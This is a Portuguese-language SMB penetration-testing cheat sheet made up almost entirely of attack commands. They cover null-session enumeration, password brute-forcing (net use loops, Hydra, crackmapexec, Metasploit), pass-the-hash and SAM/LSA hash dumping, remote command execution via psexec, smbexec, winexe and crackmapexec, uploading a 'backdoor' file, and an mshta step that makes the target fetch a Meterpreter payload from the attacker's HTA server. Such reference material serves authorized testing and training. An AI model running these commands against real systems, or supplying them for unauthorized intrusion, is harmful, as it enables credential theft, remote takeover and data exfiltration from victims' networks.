# SMB

## Habilitando SMB2

Caso queira habilitar o SMB2 no Linux, adicione a linha abaixo no final do arquivo `/etc/samba/smb.conf`:

```
min protocol = SMB2
```

Após isso, reinicie o serviço de SMB:

```
sudo service smbd restart
```



## Utilizando Windows como Host Atacante

### Net View

Listando todos os diretórios compartilhados

```bash
net view \\<ip>
net view \\<ip> /all
```

Listando arquivos de um determinado diretório

```bash
net view \\<ip>\<directory>
```

###

### Net Use

#### Enumeração SMB com ataque a Sessão Nula / Anônima

Técnica também conhecida como `red button`.&#x20;

```
net use \\<ip> "" /u:""
net use \\<ip>\IPC$ "" /u:""
```

> **EXPLICAÇÃO:**&#x20;
>
> `IPC$` = Processo oculto\
> `/u:""` = Usuário interno anônimo e as aspas duplas é senha nula

Caso recebe uma mensagem de sucesso, execute o comando abaixo para verificar se foi criado uma conexão com o host e caso esteja ok, volte a utilizar o `net view` para conectar com o host.

```bash
net use
```

#### Criando unidade de rede

Agora já podemos criar uma unidade de rede. Escolha a letra de preferência, lembrando que o `c` já é reservado pelo Windows em si.

```bash
net use <letra>: \\<ip>\<directory>
```

#### Desmontando uma unidade de rede

```bash
net use <letra>: /delete
```

#### Excluindo uma máquina que estabeleceu uma sessão

```bash
net use \\<ip> /delete
```

#### Adivinhação de Senha Remota

Para que funcione, as portas 139, 445 (SMB) estejam abertas:

```bash
net use \\<ip>|IPC$ * /u:<usuario>
```

**OBS:** O asterísco (\*) no lugar da senha faz o sistema remoto solicitar uma. Se o nome do login falhar, tente usar `DOMINIO\conta`.

#### Brute Force

Arquivo com senha separados por linha. Nesse exemplo, estamos utilizando o usuário administrator.

```bash
for /f %i in (<wordlist_pass.txt>) do net use \\<ip> %i /u:administrator
```

Arquivo com usuário e senha separados por espaço, sendo cada combinação em uma linha

```bash
for /f "tokens=1,2" %i in (<wordlist_user_pass.txt>) do net use \\<ip> %j /u:%i
```



## Utilizando Linux como Host Atacante

### Alterando Senha SMB Remotamente

#### smbpasswd

```bash
smbpasswd -r <ip> -U <user>
```

### Enumeração com NMAP

Vulnerabilidades

```bash
nmap --script smb-vuln* -p445 <ip_alvo>
```

Versões

```bash
nmap --script smb-protocols -p445 <ip_alvo>
```

Informações gerais sobre o host alvo

```bash
nmap -p 139,445 --script=smb-os-discovery <ip>
```

Compartilhamento (sem autenticação)

```bash
nmap --script smb-enum-shares -p445 <ip_alvo>
```

Compartilhamento (com autenticação)

```bash
nmap <ip> -p445 --script smb-enum-shares --script-args smbusername=<user>,smbpassword=<pass>
```

Usuários (com autenticação)

```bash
nmap <ip> -p445 --script smb-enum-users --script-args smbusername=<user>,smbpassword=<pass>
```

Enumerando todas as pastas e drivers compartilhados, em seguida executando o comando `ls` em cada compartilhamento

```bash
nmap -p445 <ip> --script smb-enum-shares,smb-ls --script-args smbusername=<user>,smbpassword=<pass>
```

Analisando se o alvo está com o SMB vulnerável.

```bash
nmap -v -p 139,445 --script=smb-vuln-ms08-067 <ip>
```

{% hint style="danger" %}
**CUIDADO**: Podemos ver o argumento **`--script-args=unsafe=1`** sendo declarado junto com o comando acima, porém isso provavelmente irá travar o SO vulnerável. Cuidado ao executar um comando com esse argumento.
{% endhint %}

Usuários logados atualmente

```bash
nmap --script smb-enum-sessions -p445 <ip_alvo>
```

Domínios

```bash
nmap -p445 10.4.28.22 --script smb-enum-domains --script-args smbusername=<user>,smbpassword=<pass>
```

Grupos de Usuários

```bash
nmap -p445 10.4.28.22 --script smb-enum-groups --script-args smbusername=<user>,smbpassword=<pass>
```

Serviços

```bash
nmap -p445 10.4.28.22 --script smb-enum-services --script-args smbusername=<user>,smbpassword=<pass>
```

Estatísticas do Servidor

```bash
nmap <ip> -p445 --script smb-server-stats --script-args smbusername=<user>,smbpassword=<pass>
```





### Metasploit

#### Meterpreter (necessário ter RCE)

```bash
# Atacante
msfconsole -q
use exploit/windows/misc/hta_server
exploit
# Copie a URL gerada

# Alvo
mshta.exe <url_gerada>

# Atacante
session -i <number_session>
```

#### Pegando a versão do SMB

```bash
use auxiliary/scanner/smb/smb2
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

**OBS.:** Os comandos abaixos talvez precise de usuário, senha e domínio, então utilize os parâmetros `SMBUser`, `SMBPass` e `DOMAIN` para ter um resultado mais preciso.

#### Detalhes como SO, Hostname e Domain

```bash
use auxiliary/scanner/smb/smb_version
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

#### Brute Force / Verificação de Login

```bash
msfconsole
use auxiliary/scanner/smb/smb_login
set RHOSTS <ip_alvo>
set SMBUser <usuario>
set SMBPass <senha> # Caso não saiba a senha, utilize um brute force: set PASS_FILE "/home/wordlist.txt"
set THREADS 10
run
```

**OBS.:** Caso a senha esteja certa, será mostrado uma linha verde com sinal `[+]` no início, seguido da mensagem `Domain is ignored for user <user>`

Agora que já sabemos a senha, podemos enumerar as pastas compartilhadas. Para isso vamos usar o seguinte Auxiliary: `use auxiliary/scanner/smb/smb_enumshares`. Agora podemos enumerar os usuários, utilizando o seguinte Auxiliary: `use auxiliary/scanner/smb/smb_lookupsid`.

Diretórios que estão sendo compartilhados

```bash
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

Usuários do SMB

```bash
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

Retorna os usuários através de pesquisas de SID com força bruta. Este módulo pode enumerar contas locais e de domínio, definindo `ACTION` como `LOCAL` e `DOMAIN`

```bash
use auxiliary/scanner/smb/smb_lookupsid
set RHOSTS <ip_alvo>
set THREAD 10
exploit
```

###

### SMBVer

Retorna a versão do SMB

```bash
./smbver.sh <ip_alvo>
```

###

### SMBMap

Verificando sessão nula

```bash
smbmap -H <ip> -u '' -p ''
```

Listando diretórios e arquivos uma unidade. No exemplo abaixo utilizei o C$

```
smbmap -u <user> -p <pass> -H <target> -r 'C$'
```

Executando comando no SO alvo.

```bash
smbmap -u <user> -p <pass> -d . -H <ip> -x '<command>'
```

Listando arquivos, porém excluindo alguns diretórios. No exemplo abaixo os diretório IPC$ e SYSVOL não serão listados.

```bash
smbmap -u <user> -p <pass> -H <ip> -r --exclude IPC$ SYSVOL
```

Acessando os diretórios compartilhados que podem ser acessados e verificando suas devidas permissões.

```bash
# -H = Hostname
# -R = Modo Recursivo
# -D = Domain
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' -d <domain>
smbmap -H <ip_alvo> -u 'guest' -p '' -d .
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' -R <directory>
smbmap -H <ip_alvo> -R
```

Realizando download de arquivo. Note que aqui estamos utilizando o C$ como diretório de destino.

```
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' --download '<C$\file>'
```

Realizando upload de arquivo. Note que aqui estamos utilizando o C$ como diretório de destino.

```bash
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' --upload '</root/backdoor>' '<C$\backdoor>'
```

Podemos encontrar arquivos `XML` em `SYSVOL`, que contém hashes de usuários. Então baixe todos os arquivo com determinada extensão.

```bash
smbmap -u <user> -p <pass> -H <target> -R <directory> -A <extension_download>
```

Listando os drivers

```bash
smbmap -u <user> -p <pass> -H <target> -L
```



### SMBClient

#### Corrigindo Acessos do SMBCLIENT

Adicione a linha abaixo em `/etc/samba/smb.conf` para que o programas como smblcient e enum4linux trabalhem corretamente.

```
client min protocol = LANMAN1
```

Após isso, reinicie o serviço com o seguinte comando:

```bash
service smbd restart
```

#### Comandos Básicos

Caso esteja permitido acesso sem credenciais (`Sessões Nulas`), irá mostrar as informações, caso contrário, irá pedir autenticação.

```bash
# -L Obtém a lista de compartilhamento
smbclient -L \\\\<ip_alvo>
smbclient -L \\\\<ip_alvo>\\<share>
smbclient -L \\\\<ip_alvo>\\<share> -U <user>
smbclient -L \\\\<ip_alvo>\\<share> -U <user> -P -W <domain>
```

Caso precise de usuário e senha, utilize os parâmentros `-U` e `-P`. Para não emitir senha, pode-se utilizar a opção `-N` (No Pass).

Porém, também podemos informar a senha já no comando dessa form, apesar de não ser o recomendado.

```bash
 smbclient <ip> -U '<user>' --password=<pass>
```

Caso esteja realizar o smbclient contra um host em um domínio, deverá informá-lo, como no exemplo abaixo:

```
smbclient -L \\\\<ip_alvo> -W <domain> -U '<user>'
```



Atente-se que, no exemplo acima estamos utilizando a opção `-L` para apenas listar os diretórios. Caso queira deixar o smbclient no modo interativo, retire o `-L` e utilize o `/` ao invés de `\`.\
Quando temos o aceso no modo interativo, podemos realizar o download dos arquivos, executando os comando abaixo:

```bash
mask ""
recurse ON
prompt OFF
cd ..
mget *
```

Caso queira baixar somente 1 arquivo, utilize o comando:

```bash
get <file>
```

Ou se preferir, podemos fazer isso é um única linha de comando:

```bash
# Utilizando sessão nula
smbclient //<ip>/home -U ""%"" -c 'mask "" ; recurse ON ; prompt OFF ; cd .. ; mget *'

# Utilizando senha
smbclient //<ip>/<dir> -U "<user>"%"<pass>" -c 'mask "" ; recurse ON ; prompt OFF ; cd .. ; mget *'
```

#### Acessando SMB v1

As vezes não é possível acessar o host devido a versão do SMB, entao devemos alterar a versão de conexão do smbclient.

```bash
smbclient -L \\<ip> -N --option='client min protocol=NT1'
```

Podemos também executar comandos no SO, caso o usuário possua permissões.

```bash
# Conectando no servidor
smbclient -U "username%password" //<ip>/<share>

# Executando o comando
logon "/=<command>" 
```



### SMBGet

Realizando download dos arquivos via SMB

```bash
smbget -R smb://<ip_alvo>/<share> -U <user>
```



### Nullinux

Ferramenta para enumeração do SO, Domínio, diretórios compartilhados e usuários do SMB.

```bash
# Acesso anônimo
python3 nullinux.py <ip>

# Acesso autenticado para ver compartilhamentos SMB
python3 nullinux -shares -u <user> -p <pass> <ip>
```



### Upload de Arquivo

```bash
curl -s --upload-file <file> -u '<domain.com\user>' smb://<ip>/<directory>/ -L
```



### Reverse Shell com SMB

#### PsExec.py

```bash
python3 psexec.py <user>:'<pass>'@<ip>
python3 psexec.py <domain>/<user>:'<pass>'@<ip>
```

#### Metasploit

```bash
msfconsole
use exploit/windows/smb/psexec
set RHOST <ip>
set SMBDomain <domain>
set SMBUser <user>
set SMBPass <pass>
exploit
```

{% hint style="info" %}
**OBS.:** Caso não dê certo, altere o **`target`**.
{% endhint %}

#### SMBExec (Impacket)

```bash
smbexec.py <user>:'<pass>'@<ip>
```



### Extraindo Políticas de Senhas

#### crackmapexec

Sempre bom utilizar o comando abaixo e verificar o valor de `Minimum password length` para sabermos a quantidade mínima de caracteres que ase senhas pocssuem e `Account Lockout Threshold` para sabermos se o usuário corre o risco de ser bloqueado após algumas tentativas de senhas incorretas

```bash
crackmapexec smb <ip> --pass-pol
crackmapexec smb <ip> --pass-pol -u '' -p ''
```

#### polenum

```bash
polenum -u '' -p '' <ip>
polenum -u '' -p '' -d <domain.controler> <ip>
```



### crackmapexec

Nos exemplos, estamos utilizando o protocolo `smb`, porém o crackmapexec trabalha com os protocolos: `http`, `mssql`, `smb`, `ssh` e`winrm`.

#### Atacando por Sessão Nula

```bash
crackmapexec smb <ip_alvo> -u '' -p ''
```

#### Baixando Arquivos

Baixando todos os arquivos do servidor SMB para `/tmp/cme_spider_plus/`

```bash
crackmapexec smb <ip> -u '<user>' -p '<pass>' -M spider_plus -o READ_ONLY=false
```

Baixando os arquivos SMB de um determinado compartilhamento

```bash
crackmapexec smb <ip> -u <user> -p <pass> -M spider_plus --share '<directory>'
```

#### Pass-The-Hash

Pegando os hashes

```bash
crackmapexec smb <ip_alvo> -u <user> -H LMHASH:NTHASH
crackmapexec smb <ip_alvo> -u <user> -H NTHASH
crackmapexec smb <ip_alvo> -u <user> -p <pass> --sam
crackmapexec smb <ip_alvo> -u <user> -p <pass> --lsa
```

{% hint style="success" %}
**DICA:** Caso tenha acesso ao Meterpreter, utilize o comando **`hashdump`** para pegar as hashes. Elas são separadas por um **`:`** então utilize a quarta parte para executar a autenticação via hash, mostrada logo abaixo.
{% endhint %}

Autenticando com os hashes

```bash
crackmapexec smb <ip_alvo> -u <user> -H <hash>
```

#### Varrendo a rede por alvos com SMB ativos

```bash
# Sessão Nula
crackmapexec 192.168.1.0/24

# Autenticação padrão
crackmapexec 192.168.1.0/24 -u '<user>' -p '<password>'
```

#### Enumerando Usuários do AD

```bash
crackmapexec smb <ip> -u '<user>' -p '<pass>' --rid-brute
```

#### Descobrindo Compartilhamentos

```bash
crackmapexec smb <ip> --shares
crackmapexec smb <ip> -u '' -p '' --shares
crackmapexec smb <ip> -u '' --shares
crackmapexec smb <ip> -u <user> -p <pass> --shares
```

#### Brute Force

```bash
# Usuário e Senha
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -p <wordlist_pass.txt>

# Continua o Brute Force depois de locaizar alguma credencial válida 
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -p <wordlist_pass.txt> --continue-on-success

# Hash NTLM
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -H <wordlist_hash_ntlm>
```

{% hint style="success" %}
**OBS.:** Caso receba a mensagem `STATUS_PASSWORD_MUST_CHANGE`, significa que a senha está correta, porém é preciso alterá-la para ter acesso. Verifique no início dessa página, como alterar a senha SMB remotamente utilizando o `smbpasswd`.
{% endhint %}

#### Trabalhando com arquivos de múltiplos servidores

Insira um IP por linha no arquivo txt

```bash
crackmapexec smb <servers.txt> -u <user> -p <password>
```

{% hint style="info" %}
**OBS.:** Caso apareça escrito **`(Pwn3d!)`** em amarelo, significa que o usuário tem permissão de execução nesse host. Geralmente aparece na própria máquina do usuário, essa flag irá aparecer.
{% endhint %}

#### Trabalhando com hosts em um Domínio

```
crackmapexec smb <ip> -d <domain> -u <user> -p <password>
```

#### Executando comando no SO

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -x '<command>'
```

#### Listando Módulos do crackmapexec

Isso é útil para ativarmos e desativarmos módulos (serviços) do SO alvo

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -L
```

#### Verificando opções de um determinado Módulo

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -M <module> --options
```

#### Ativando um Módulo

```bash
crackmapexec smb <ip> -u <user> -p '<password>' -M <module> -o Action=enable
```



### WinExe

```bash
winexe -U <user>%<pass> //<ip> '<command>'
```

Caso queira deixar o terminal interativo, basta chamar o `cmd.exe`.

```bash
winexe -U <user>%<pass> //<ip> 'cmd.exe'
```



### Hydra

Brute Force

```bash
hydra -L <user.txt> -P <pass.txt> <ip> smb2
```



### Impacket (Python)

Enumerando usuários (SMB)

```bash
lookupsid.py '<user>:<password>'@<ip>
```



#### Sites

```bash
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials,-NULL-Sessions,-PtH-Attacks
https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec/

# NulLinux
https://github.com/m8r0wn/nullinux.git
```
